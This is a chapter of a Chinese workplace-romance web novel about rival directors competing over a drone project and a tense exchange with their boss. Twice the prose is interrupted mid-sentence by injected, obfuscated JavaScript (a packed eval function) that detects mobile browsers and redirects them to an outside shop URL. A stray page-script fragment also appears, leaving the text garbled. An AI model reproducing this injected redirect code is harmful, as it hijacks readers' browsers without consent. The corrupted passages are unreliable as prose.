商秦州合上笔记本,说:“苏晴,陆晓研,你们各自牵头,成立A组和B组,深化方案。下周例会,我要看到更详细的可行性分析报告。” 他的语气听不出偏向,但却补充了一句:“苏晴,由你牵头,和市场部和运营部一起尽快拿出一个联合推进计划。” “好的商总,我明白。”苏晴立刻回应,声音里带着压不住的轻快。 陆晓研留在原位有些发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16946753|193016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣。 商秦州最后那几句安排,在她脑子里反复回放。 A组和B组,同步推进。 话说得漂亮,像是公允的权衡。 可落到实处,却再清楚不过。 苏晴的A组,能直接调动市场部和运营部,那是实实在在的兵力和弹药。而她的B组,只有手头这几个人,和一句轻飘飘的“拿出具体方案”。 商秦州心中那杆天秤其实已经偏向了苏晴。分a、b两组,是因为一个成熟的管理者,永远不会把鸡蛋放在一个篮子里,他们需要一个备选项,一个planb。 而且两个小组同时竞争,还能刺激所有人提高效率,一箭双雕。 办公室里一时泾渭分明,苏晴那头春光灿烂,她笑盈盈地说:“后续工作,就多谢各位领导同事的支持了。” “苏总监客气,都是分内事,一定全力配合。”应和声此起彼伏,透着股热络劲儿。 相比之下,陆晓研这边,仿佛被会议室的空调单独多吹了一会儿,气压低迷。 中午吃饭的时候,周晋扒拉着餐盘里原本香气诱人的排骨,却如同嚼蜡,长长叹着气。 “吃啊,怎么不吃?”陆晓研咬着排骨说:“下午活儿不少,吃饱了才有力气搬砖。” 周晋扔开筷子,说:“晓研姐,咱这方案明明都没戏了,商总那意思,资源都给人家A组了。咱们这B组,不就是个陪跑的?” “陪跑也给我好好跑,”陆晓研用筷子敲了敲周晋的碗,说:“分配下来的工作,有没有戏都得做好。样子做给自己看,没意思。” “哎,行吧行吧。”周晋不情不愿地应下来。 吴月在一旁默默点头,用力戳了一下米饭。 就在这时,一阵清雅的香水味飘近。苏晴端着一个精致的手提纸袋,步履轻盈地走了过来,脸上是无可挑剔的亲切笑容。 “陆总监,你们也刚吃饭呀?” 陆晓研:“在吃呢。” 她扫了眼几人略显沉闷的餐盘,从纸袋里拿出几杯贴着品牌logo的奶茶,一一放在他们手边,“刚让助理买多了,请大家喝一杯,提提神。接下来,大家都要辛苦了呀。” “那就……谢谢苏总监,破费了破费了。”陆晓研笑容舒展,没有半分勉强,甚至率先拿起了自己那杯,利落地插入了吸管,喝了一大口。 苏晴走后,吴月小声埋怨:“这是来跟我们炫耀呢,这奶茶我真不想喝。” “喝!”陆晓研伸手帮吴月那杯也戳好了吸管,“白给的为什么不喝?给我大口喝。” 下午继续忙B组的事。 该催的数据催,该盯的进度盯,该开的短会照常开。 周晋和吴月起初还有些蔫,但见她完全一副“火力全开”的架势,也只好甩开那点杂念,跟着埋进了各自的任务里。 她是B组小组长。 所以在周晋和吴月面前,她必须是那堵不会晃动的墙。 她要在所有人都不相信、不认可他们的时候,相信认可他们;要目光清亮、语气笃定地说“既然接了,就做好”。 她得咽下所有不确定。 表现出绝对专业。 这份表演很成功。成功到连她自己对着屏幕敲打键盘时,都深信不疑。 但等下班后。 所有人都走了。 灯光一盏盏熄灭,办公区沉入一片熟悉的、广阔的寂静。 她一个人站在自动贩卖机前, 碳酸饮料的明亮色彩,果汁的鲜活图案,模糊成视网膜上一片晃眼的光斑。 她也会有一种,委屈不平的感觉。 明明我的方案更好。 为什么不选我? 为什么? 凭什么? “叮。” 一瓶黑咖啡从她面前掉落。 陆晓研回过神。 视线里先出现的,是一尘不染的西装袖口,和那只骨节分明、刚刚收回的手。 空气里弥漫开一股清冽的雪松香气,混合着黑咖啡的微苦。 这是商秦州独有的、极具侵略性的存在感。 她不用转头,也知道来人是谁。 商秦州的声音在身侧响起:“一柜子饮料,就没选到喜欢的?” 14. 第 14 章 “商总。” “陆总监。”商秦州斜倚在柜架旁,垂眼抿了一口咖啡,喉结无声地滑动,姿态疏离又从容。 陆晓研盯着眼前琳琅满目的货物,心里掀起一场无声海啸。 每一个想脱口而出的字都像滚烫的石头,在舌尖反复灼烧又艰难咽回。 她不断严词警告自己: 不能说、不要说、不该说。 他是你上司,你的老板,又不是你的什么人。 所以闭嘴闭嘴快闭嘴…… “关于‘天鹰2.0’的方向……” 字眼还是吐露出。 再憋下去,她一定会像气球一样爆炸掉。 “我认为还是我的方案更具有长期价值。”她语速快了起来,像竹筒倒豆子,一下子全倒了出来。 “而且技术上绝对可行。我可以现在就用已有数据模型推演给你看,‘天鹰’绝对、绝对、有能力达到我的设想。” 她向前迈了一小步,目光闪耀,几乎是举起双手,向商秦州献上她那金光灿灿的预想。 “你难道不想看到这样的画面吗?如果有一天,天有不测风云,某个城市需要救援,那时天空上会飞满我们的无人机。每一架无人机就可以装载20公斤压缩饼干、急救包或者水。我们能帮助到好多好多人,这是一件,一件很好很好的事……” 她的声音在空旷里显得有些轻,却因为那份纯粹的愿景,而有了奇异的重量。 她满怀期待地等待着商秦州的回应。 “说完了?”商秦州打断她,语气平淡。 他终于侧过脸,目光自上而下地掠过她因激动微微泛红的脸,和那双亮得有些过分的眼睛。 “没有,”陆晓研被那目光一激,反而仰起头,直接地迎上去,更上前一步。 距离瞬间被拉近。 近到那雪松气息几乎将她包裹。 近到她能看清深潭般的眼底,映着顶灯冰冷的光点,和一个小小的、执拗的自己。 她没有因为这种压迫感而退缩,胸腔里那股气顶着,让她把话说完:“如果从社交媒体入手,我们的产品周期有多短?一旦热度过去,或者友商推出更花哨的功能,我们立刻就会被淘汰。只有做出真正有技术壁垒的产品,别人谁都做不到,只有我们能做到,这样才是护城河!” “陆总监,”商秦州的声音沉了下去,“今天的会议已经结束了,会议决定也已经发出。 “你不用再说了。” 四下无人,偌大的办公室只有他们两个人。 白日里人声熙攘的繁华褪去,窗外的城市华灯初上,将他们的影子长长地倒影在白色大理石地板上,隐隐绰绰。 商秦州就站在她面前两步之外,保持着安全而疏离的社交距离。 他脸上没有任何波澜,甚至连睫毛都未颤动一下。 陆晓研犹如迎面被泼了一盆冷水,怔愣在原地。 看着商秦州平静的神情,她忽地想到了那晚。 心脏像是被看不见的手攥了一下,又酸又麻。 她下意识攥紧手指,指尖抓疼了掌心。 “是……”她瑟缩了一下,喉咙有些发干,声音也低了下去,“是不是,因为我们的事?所以你才不看好我的方案?” “我们的什么事?”商秦州反问,语调甚至微微上扬。 目光将她锁定,不肯放过她此刻的窘迫和慌乱。 陆晓研张张嘴,那晚的画面和触感汹涌而至。 带着温度、气息和失控的心跳,堵在喉咙口,灼烧着声带,却一个字也吐不出来。 沉默在两人之间蔓延,只有贩卖机内部制冷系统低微的嗡鸣。 过了半晌,商秦州终于像是等够了,不紧不慢地开口,“你分析的很对,逻辑也没问题。” 陆晓研的心刚提起一丝希望,抬眼望他。 “但是,”商秦州话锋一转,“苏晴的方案周期短,投入可控,在目前的资本环境下,她的回报预期更好,这是显而易见的。” “什么意思?”其实答案已经非常清晰,但陆晓研还是忍不住追问到底。 “还不明白吗?”商秦州直视她,没有任何委婉:“她的方案更赚钱。” “更赚钱……”陆晓研低声喃喃,咀嚼这三个字的滋味,“所以你否决我的方案,不是因为你认为产品做不到,而是因为想更赚钱?” “是。”商秦州没有犹豫,答案简洁至极。 她其实早已经猜到,商秦州做决策就是基于此。 可内心深处,总有一角顽固地觉得——商秦州会不一样。 她觉得商秦州的身上有一部分和自己很像。 好斗、傲气,对数字和科技有着发自内心的热爱。 否则,他何必在不需要考试的时候,依然潜心研究黑板上的数学题;他的朋友圈里为何只有无人机的九宫格。 可现在商秦州的回答,又让他和其他人没有区别。 冷静、务实,典型的商人。 这个认知让她的心往下一沉,有些失落。 但紧接着,失望迅速被更熟悉的、不肯认输的劲头儿取代。 “那么,如果,我是说如果,”陆晓研逐渐稳下声线,拼凑起斗志:“我能向你证明,我的方案比苏晴更赚钱,你是不是就选我?” 商秦州静默地看了她片刻。 然后几不可察地抬了下眉梢,做了一个“请”的手势。 “好,”陆晓研眼睛闪光:“我证明给你看。” “用结果说服我,”商秦州拿起他的那杯易拉罐黑咖啡,“而不是情绪。” “好!你给我等着!” 陆晓研转身回到工位,不再纠结于情绪,彻底沉入满屏数据里。 百叶窗后,商秦州抬起手,几根手指极轻地拨开一道缝隙。 视野里被切割成狭窄的条纹,只装得下一个小小的陆晓研。 她正对着屏幕,背脊挺直,键盘上手指敲得飞快。 你给我等着? 这句话怎么这么耳熟? 像极了少年时那些天不怕地不怕的挑战书—— 放学别走! 你给我等着! * 陆晓研需要云服务器资源跑一个场景模拟,申请了一周才批下来,且预算被砍半。 而同一天,苏晴的团队为了一个社交媒体滤镜功能,新开了整整一个集群,足以同时处理海量图像与实时数据。这简直就像在用一家小型工厂的全套生产线,只为生产一枚精巧的装饰纽扣。 茶水间,几位同事正在闲聊,声音不大,但正好飘进了偶然经过的陆晓研耳朵里。 “哎,真羡慕你,被分到A组,我就倒霉了,在B组。” “B组怎么不好?多清闲。” “呵,闲什么!”那名同事没好气地说:“陆晓研天天追在我屁股后面要数据。我真的服了,项目根本用不上,也不知道她较什么真……” “她啊,她之前不是跟苏晴争总监的位置么?现在来的这位商总,显然还是更喜欢苏晴姐啊。” “这不是废话么?谁不喜欢苏晴姐啊?苏晴姐说话多让人舒服,事情办得漂亮,人情也周到。上周还给我们组点了下午茶呢。” “就是,那个陆晓研,不就是长得漂亮,然后又有点水平么?完全不会做人。” “晓研姐!”其中一人抬眼看到她,笑容瞬间僵在脸上,肘子偷偷撞了下旁边还在滔滔不绝的同事。 声音戛然而止。 陆晓研平静地走到饮水机前,按下热水键。 水流声在突然安静的空气里显得格外清晰。 她接完半杯水,才转过身,目光径直落在那个抱怨的同事脸上。 “上周五要的测试数据,数据呢?” 那同事喉结滚动了一下,挤出一个笑:“马、马上,今天下班前一定……” 她端起杯子,从僵立的两人间走了过去。 陆晓研从来不在乎那些声音。 跑得太快的时候,身后的议论便只是擦过耳畔的风。 她心里也清楚,这个项目大概率不会有自己想要的结果。 但她就是这脾气,凡事只要开始做了,那就一定要做到最好。 更何况,许多事本来就是没有结果的。 * 周五下午,王磊特意开了个例会,在会上说:“刚得到消息,‘凌云资本’的陈峰下周会出席行业创新晚宴。他们最近在密集关注低空经济赛道,是个非常关键的资源。这次让苏晴和陆晓研,一起陪同商总出席。” 会议室里安静了一瞬。众人目光微妙地在两人之间转了转。 苏晴脸上笑容依旧得体,:“王总,这类应酬,营销部的同事不是更擅长么?” 王磊说:“营销部和市场部的领导当然也会去,但会上有解答产品所有技术细节的环节,他们哪里懂?商总考虑得周全,这位陈主任是技术宅,不喜欢虚头巴脑的东西,跟营销部那群人聊不到一起去。你俩好好准备,一定要展现我们部门的风采。” 让陆晓研跑数据她什么问题都没有,但叫她去参加酒宴,她就有些手生了,忙打电话搬来林薇这个救兵。 林薇带着她熟门熟路地拐进一家精品买手店。 店内光线柔和,浮动着淡淡的、昂贵香氛气味。 “你就听我的,”林薇语气不容置疑:“说是交流,实则战场。战袍不对,气场先输一半。” 林薇抽出一件又一件礼服,在陆晓研身前比划,每比划一件,眼睛就亮一次。 “这件。” “这件。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚宴定在晚上七点。下午五点,陆晓研还在工位前,素面朝天,指尖在键盘上敲得飞快,与最后一段模拟数据较劲。 提前设定好的闹钟一响,陆晓研保存好所有工程文件,拎起早已备好的衣物袋,连忙奔进洗手间。 换衣。 化妆。 她对着镜子用指尖点润唇膏。 一旁手机一阵响。 数不清的人突然同时找她。 陆晓研一边快步往电梯间走,一边单手回复消息。 回完他的回他的,做完他的做他的。 王磊的叮嘱跳在最前面:“看着点时间,一个小时后车在楼下。” 陆晓研:“好的。” 王磊:“见到商总了吗?” 陆晓研顺势往商秦州的办公室瞄了一眼。 门开着,里面空无一人。 陆晓研敲字回复:“没有,他不在工位上。” 王磊:“好吧,他刚上来过一趟,应该又下去了。” 陆晓研:“可能是。要找他吗?” 王磊:“不用,今晚你跟在他旁边就行了。表现好一点啊。” 陆晓研打包票:“那肯定的啊。” 陆晓研在电梯门前边等边聊。 “叮”一声响。 电梯门突然在她面前打开。 厢内灯光明亮,商秦州正站在其中。 他穿着身挺括的深色西装,身姿挺拔,手里握着的手机屏幕还亮着微光。 他撩起眼皮,目光随意地掠了过来。 在看到她的时候,几不可察地顿住了。 陆晓研站在电梯门外,灯光从上方落下来,先照亮她乌黑的发。每一丝都妥帖地收束在脑后,露出完整的额头与一段修长的颈,线条干净得像未落笔的纸。一张粉面干净、素白,没有多余的颜色,只有唇上一点极淡的釉色。 她身上穿着香槟色长裙,依着身形垂落,像一道无声贴合的暖流。腰间收着一线银线,有时忽地光片流转,如同深海鱼类一闪而过的鳞光。 有那么一个刹那,可能不到半秒,时间像是被凝滞了。 狭窄逼仄的电梯箱里空气停止流动,发酵出稠密馥郁的香气。 “叮……” 电梯门因久候而发出清脆的的提示音。 “商总?”陆晓研见他不动,不得不开口提醒。 商秦州仿佛被惊醒。 下颌线收紧,又立即放松。 他抬起手,按在电梯键上。先是错按了关门,然后移至开门。 “嗯。”他的应声比平时低沉些许,对她微微颔首,侧身向电梯内让了半步。